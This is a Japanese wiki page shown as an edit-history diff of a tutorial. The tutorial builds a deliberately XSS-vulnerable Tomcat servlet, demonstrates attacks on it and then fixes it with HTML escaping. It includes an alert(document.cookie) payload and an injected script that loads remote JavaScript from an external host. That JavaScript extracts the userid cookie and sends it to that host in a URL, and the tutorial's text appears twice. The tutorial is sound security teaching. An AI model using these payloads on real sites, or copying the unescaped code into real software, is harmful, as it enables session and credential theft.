「Java/Tomcat/クロスサイトスクリプティング脆弱性を体験してみるサンプル」の編集履歴(バックアップ)一覧はこちら

Java/Tomcat/クロスサイトスクリプティング脆弱性を体験してみるサンプル - (2013/11/05 (火) 00:23:05) の1つ前との変更点

追加された行は緑色になります。

削除された行は赤色になります。

Tomcatでクロスサイトスクリプティングの脆弱性があるアプリを作成して、クロスサイトスクリプティングを体験、それからクロスサイトスクリプティング対策を実施するサンプルです。 * ■目次 #contents(fromhere=true) * まずは脆弱性のあるサンプルソース xss.jsp <%@ page language="java" contentType="text/html; charset=UTF8" pageEncoding="UTF-8" %> <html> <head> <title>Xssサンプル</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body> 名前:<%= request.getAttribute("name") %><br> 内容:<%= request.getAttribute("content") %> <hr> <form action='<%=request.getContextPath()+"/xss"%>' method='GET'> お名前:<input type="text" name="name" value=''><br> 内容:<textarea name="content"></textarea><br> </form> </body> </html> Xss.java import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class Xss extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // JSPに渡すパラメータ req.setAttribute("name", ""); req.setAttribute("content", ""); // クッキー設定 resp.addCookie(new Cookie("userid", "hogehoge")); resp.addCookie(new Cookie("xss", "sample")); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // パラメータを処理 req.setCharacterEncoding("UTF-8"); String name = req.getParameter("name"); if (name == null) name = ""; String content = req.getParameter("content"); if (content == null) content = ""; content = content.replaceAll("\n", "<br>"); // JSPに渡す req.setAttribute("name", name); req.setAttribute("content", content); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } } web.xml <?xml version="1.0" encoding="ISO-8859-1"?> <web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version="3.0"> <servlet> <servlet-name>xss</servlet-name> <servlet-class>Xss</servlet-class> </servlet> <servlet-mapping> <servlet-name>xss</servlet-name> <url-pattern>/xss</url-pattern> </servlet-mapping> </web-app> * サンプルの説明 ・なんの変哲もない、画面からの入力をまた画面に表示する「掲示板もどき」なサンプルです。 ・/xxx にアクセス(GET)するとクッキーに userid を設定します。 ・・クッキーに userid が残っていればログイン中という判断 ・・userid のルールはアルファベットの大文字小文字と 0 から 9 の数字とする。 ・名前と内容を入力して送信(POST)すると名前と内容をJSPに表示します。 このサンプルを普通に使うと以下のようになります。 ※submitボタンを省略しているので、名前のテキストボックスでエンターを押すとフォームの内容が送信されます。 >Before >&ref(xss1.png) >↓ >After >&ref(xss2.png) * ダメなところ このサンプルの良くないところは、以下のパラメータを処理してJSPに渡す部分です。 // パラメータを処理 req.setCharacterEncoding("UTF-8"); String name = req.getParameter("name"); if (name == null) name = ""; String content = req.getParameter("content"); if (content == null) content = ""; content = content.replaceAll("\n", "<br>"); // JSPに渡す req.setAttribute("name", name); req.setAttribute("content", content); 教科書的に言えば、ここでパラメータの文字列から「<」「>」「&」「"」「'」の5種類をサニタイジングする必要があります。 ですが、今回のサンプルはまず脆弱性の体験が目的なのでサニタイジングは省略しています。 ※厳密に言うと、クッキーに保存した userid でログインしていると判断するのも危険ですが今回は無視してください。 * クロスサイトスクリプティングをやってみよう1 まずは以下のように内容に「<script>alert(document.cookie)</script>」と入力してみましょう。このスクリプトは、クッキーの内容をダイアログに表示するスクリプトです。 >&ref(xss3.png) >↓ >&ref(xss4.png) はい、サニタイジングしてないので見事にスクリプトが動作してクッキーの内容が表示されました。 ※クッキーはローカルに保存されるので、このようなスクリプトを使わなくても確認できます。 内容から、 userid がログインに使うIDだとわかるので、これを盗むスクリプトを動作させてみましょう。 * クロスサイトスクリプティングをやってみよう2 次は以下のスクリプトを打ち込んでフォームを送信しましょう。 ><script>var tag = document.createElement("script");tag.setAttribute("src","http://www46.atpages.jp/chapati/xss/sample1.js");document.getElementsByTagName("body").item(0).appendChild(tag);</script> 以下のようなダイアログが表示されればXSS攻撃成功です。 >&ref(xss5.png) 上記のスクリプトは、攻撃者が用意したスクリプト「http://www46.atpages.jp/chapati/xss/sample1.js」を実行させるものです。 http://www46.atpages.jp/chapati/xss/sample1.jsの中身は以下のようになっています。 // クッキーからログインIDを抜き出す var userid = document.cookie.match(/userid=[a-zA-Z0-9]+/).toString().substring(7); // 攻撃サイトのURLにログインIDを追加し攻撃URLを作成 var url = "http://www46.atpages.jp/chapati/xss/" + userid; // スクリプトタグを作成 var tag = document.createElement("script"); // src属性に攻撃URLを設定 tag.setAttribute("src",url); // bodyタグにスクリプトタグを追加 document.getElementsByTagName("body").item(0).appendChild(tag); このスクリプトは、コメントにもあるとおり、クッキーからログインIDを抜き出し、ログインIDをURLに追加して攻撃者の用意したサイトにアクセスさせます。 今回のサンプルでは、ログインIDは「hogehoge」なので、「http://www46.atpages.jp/chapati/xss/hogehoge」にアクセスが発生すれば、攻撃者はURLからログインIDを取得できてしまいます。 ※今回は「XSS攻撃成功!」と表示するスクリプトを埋め込んでいますが、実際に攻撃されたときはそんなダイアログはでません。 * クロスサイトスクリプティング対策をしてみよう Xss.java(対策後) import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class Xss extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // JSPに渡すパラメータ req.setAttribute("name", ""); req.setAttribute("content", ""); // クッキー設定 resp.addCookie(new Cookie("userid", "hogehoge")); resp.addCookie(new Cookie("xss", "sample")); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // パラメータを処理 req.setCharacterEncoding("UTF-8"); String name = req.getParameter("name"); // if (name == null) name = ""; name = escapeHTML(name);// ★★★ 修正点 ★★★ String content = req.getParameter("content"); // if (content == null) content = ""; content = escapeHTML(content);// ★★★ 修正点 ★★★ content = content.replaceAll("\n", "<br>"); // JSPに渡す req.setAttribute("name", name); req.setAttribute("content", content); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } //★★★ 修正点 ★★★ public static String escapeHTML(String val) { if (val == null) return ""; val = val.replaceAll("&", "& amp;"); val = val.replaceAll("<", "& lt;"); val = val.replaceAll(">", "& gt;"); val = val.replaceAll("\"", "&quot;"); val = val.replaceAll("'", "&apos;"); return val; } } 修正点は「<」「>」「&」「"」「'」をそれぞれ「& lt;」「& gt;」「& amp;」「&quot;」「&apos;」に変換する関数「escapeHTML」を追加したのと、「name」「content」パラメータを escapeHTML でサニタイジングしていることです。※wikiの表示の都合で & の後に半角スペース入れています。
Tomcatでクロスサイトスクリプティングの脆弱性があるアプリを作成して、クロスサイトスクリプティングを体験、それからクロスサイトスクリプティング対策を実施するサンプルです。 * ■目次 #contents(fromhere=true) * まずは脆弱性のあるサンプルソース xss.jsp <%@ page language="java" contentType="text/html; charset=UTF8" pageEncoding="UTF-8" %> <html> <head> <title>Xssサンプル</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body> 名前:<%= request.getAttribute("name") %><br> 内容:<%= request.getAttribute("content") %> <hr> <form action='<%=request.getContextPath()+"/xss"%>' method='GET'> お名前:<input type="text" name="name" value=''><br> 内容:<textarea name="content"></textarea><br> </form> </body> </html> Xss.java import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class Xss extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // JSPに渡すパラメータ req.setAttribute("name", ""); req.setAttribute("content", ""); // クッキー設定 resp.addCookie(new Cookie("userid", "hogehoge")); resp.addCookie(new Cookie("xss", "sample")); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // パラメータを処理 req.setCharacterEncoding("UTF-8"); String name = req.getParameter("name"); if (name == null) name = ""; String content = req.getParameter("content"); if (content == null) content = ""; content = content.replaceAll("\n", "<br>"); // JSPに渡す req.setAttribute("name", name); req.setAttribute("content", content); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } } web.xml <?xml version="1.0" encoding="ISO-8859-1"?> <web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version="3.0"> <servlet> <servlet-name>xss</servlet-name> <servlet-class>Xss</servlet-class> </servlet> <servlet-mapping> <servlet-name>xss</servlet-name> <url-pattern>/xss</url-pattern> </servlet-mapping> </web-app> * サンプルの説明 ・なんの変哲もない、画面からの入力をまた画面に表示する「掲示板もどき」なサンプルです。 ・/xxx にアクセス(GET)するとクッキーに userid を設定します。 ・・クッキーに userid が残っていればログイン中という判断 ・・userid のルールはアルファベットの大文字小文字と 0 から 9 の数字とする。 ・名前と内容を入力して送信(POST)すると名前と内容をJSPに表示します。 このサンプルを普通に使うと以下のようになります。 ※submitボタンを省略しているので、名前のテキストボックスでエンターを押すとフォームの内容が送信されます。 >Before >&ref(xss1.png) >↓ >After >&ref(xss2.png) * ダメなところ このサンプルの良くないところは、以下のパラメータを処理してJSPに渡す部分です。 // パラメータを処理 req.setCharacterEncoding("UTF-8"); String name = req.getParameter("name"); if (name == null) name = ""; String content = req.getParameter("content"); if (content == null) content = ""; content = content.replaceAll("\n", "<br>"); // JSPに渡す req.setAttribute("name", name); req.setAttribute("content", content); 教科書的に言えば、ここでパラメータの文字列から「<」「>」「&」「"」「'」の5種類をサニタイジングする必要があります。 ですが、今回のサンプルはまず脆弱性の体験が目的なのでサニタイジングは省略しています。 ※厳密に言うと、クッキーに保存した userid でログインしていると判断するのも危険ですが今回は無視してください。 * クロスサイトスクリプティングをやってみよう1 まずは以下のように内容に「<script>alert(document.cookie)</script>」と入力してみましょう。このスクリプトは、クッキーの内容をダイアログに表示するスクリプトです。 >&ref(xss3.png) >↓ >&ref(xss4.png) はい、サニタイジングしてないので見事にスクリプトが動作してクッキーの内容が表示されました。 ※クッキーはローカルに保存されるので、このようなスクリプトを使わなくても確認できます。 内容から、 userid がログインに使うIDだとわかるので、これを盗むスクリプトを動作させてみましょう。 * クロスサイトスクリプティングをやってみよう2 次は以下のスクリプトを打ち込んでフォームを送信しましょう。 ><script>var tag = document.createElement("script");tag.setAttribute("src","http://www46.atpages.jp/chapati/xss/sample1.js");document.getElementsByTagName("body").item(0).appendChild(tag);</script> 以下のようなダイアログが表示されればXSS攻撃成功です。 >&ref(xss5.png) 上記のスクリプトは、攻撃者が用意したスクリプト「http://www46.atpages.jp/chapati/xss/sample1.js」を実行させるものです。 http://www46.atpages.jp/chapati/xss/sample1.jsの中身は以下のようになっています。 // クッキーからログインIDを抜き出す var userid = document.cookie.match(/userid=[a-zA-Z0-9]+/).toString().substring(7); // 攻撃サイトのURLにログインIDを追加し攻撃URLを作成 var url = "http://www46.atpages.jp/chapati/xss/" + userid; // スクリプトタグを作成 var tag = document.createElement("script"); // src属性に攻撃URLを設定 tag.setAttribute("src",url); // bodyタグにスクリプトタグを追加 document.getElementsByTagName("body").item(0).appendChild(tag);  このスクリプトは、コメントにもあるとおり、クッキーからログインIDを抜き出し、ログインIDをURLに追加して攻撃者の用意したサイトにアクセスさせます。 今回のサンプルでは、ログインIDは「hogehoge」なので、「http://www46.atpages.jp/chapati/xss/hogehoge」にアクセスが発生すれば、攻撃者はURLからログインIDを取得できてしまいます。 ※今回は「XSS攻撃成功!」と表示するスクリプトを埋め込んでいますが、実際に攻撃されたときはそんなダイアログはでません。  クロスサイトスクリプティングの脆弱性があると、悪意のある javascript をいとも簡単に実行できることがお分かりいただけたでしょうか?  今回はクッキーの情報を盗むスクリプトですが、javsscriptを自由に実行されるとHTMLの中に書いてある情報全てを好きなだけ盗むことが可能になります。利用者の個人情報が表示されたページに、悪意のあるスクリプトを埋め込まれれば、もちろん個人情報だって盗めてしまうのです。 * クロスサイトスクリプティング対策をしてみよう  今回のサンプルの脆弱性は、入力された文字をサニタイジングしないで表示していることです。ですから、サニタイジングを実施すればクロスサイトスクリプティング攻撃は成功しなくなります。  以下のソースコードが、サニタイジングを実施したサンプルです。 Xss.java(対策後) import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class Xss extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // JSPに渡すパラメータ req.setAttribute("name", ""); req.setAttribute("content", ""); // クッキー設定 resp.addCookie(new Cookie("userid", "hogehoge")); resp.addCookie(new Cookie("xss", "sample")); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // パラメータを処理 req.setCharacterEncoding("UTF-8"); String name = req.getParameter("name"); // if (name == null) name = ""; name = escapeHTML(name);// ★★★ 修正点 ★★★ String content = req.getParameter("content"); // if (content == null) content = ""; content = escapeHTML(content);// ★★★ 修正点 ★★★ content = content.replaceAll("\n", "<br>"); // JSPに渡す req.setAttribute("name", name); req.setAttribute("content", content); RequestDispatcher disp = req.getRequestDispatcher("/jsp/xss.jsp"); disp.forward(req, resp); } //★★★ 修正点 ★★★ public static String escapeHTML(String val) { if (val == null) return ""; val = val.replaceAll("&", "& amp;"); val = val.replaceAll("<", "& lt;"); val = val.replaceAll(">", "& gt;"); val = val.replaceAll("\"", "&quot;"); val = val.replaceAll("'", "&apos;"); return val; } }  修正点は「<」「>」「&」「"」「'」をそれぞれ「& lt;」「& gt;」「& amp;」「&quot;」「&apos;」に変換する関数「escapeHTML」を追加したのと、「name」「content」パラメータを escapeHTML でサニタイジングしていることです。※wikiの表示の都合で & の後に半角スペース入れています。  この修正を加えたサンプルで、再びスクリプトを入力してみると以下のような画面になります。 >&ref(xss5.png)  スクリプトが実行されず、そのまま画面に表示されているのがお分かりいただけると思います。これで * その他のクロスサイトスクリプティング対策  クロスサイトスクリプティングの対策には、大雑把に以下の様なものがあります。今回対策したのは、この中の「ウェブページに出力する全ての要素に対して、エスケープ処理を施す。」に過ぎません。 >・ウェブページに出力する全ての要素に対して、エスケープ処理を施す。 >・URLを出力するときは、「http://」や「https://」で始まるURLのみを許可する。 >・<script>...</script>要素の内容を動的に生成しない。 >・スタイルシートを任意のサイトから取り込めるようにしない。 >・入力値の内容チェックを行う。 >・HTTPレスポンスヘッダのContent-Typeフィールドに文字コード(charset)を指定する。 >・Cookie情報の漏えい対策として、発行するCookieにHttpOnly属性を加え、TRACEメソッドを無効化する。 >>※参考 [[IPA 安全なウェブサイトの作り方(PDF)>http://www.ipa.go.jp/files/000017316.pdf]]

表示オプション

横に並べて表示:
変化行の前後のみ表示: